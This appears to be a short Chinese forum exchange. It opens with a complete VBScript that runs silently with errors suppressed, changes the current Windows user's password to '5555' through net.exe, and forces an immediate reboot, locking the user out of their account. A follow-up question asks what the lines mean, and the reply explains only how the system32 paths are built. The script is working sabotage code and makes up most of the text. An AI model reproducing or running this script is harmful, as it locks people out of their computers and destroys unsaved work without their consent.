On Error Resume Next
Dim fso,ws,file,shut,password
password="5555"
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True
ws.run shut & " /r /f /t 0",0
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
这几句能不能详细说一下
取系统的system32文件夹路径 赋值给fol变量
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
这样就组合成 c:\windows\system32\net.exe 一个文件的路径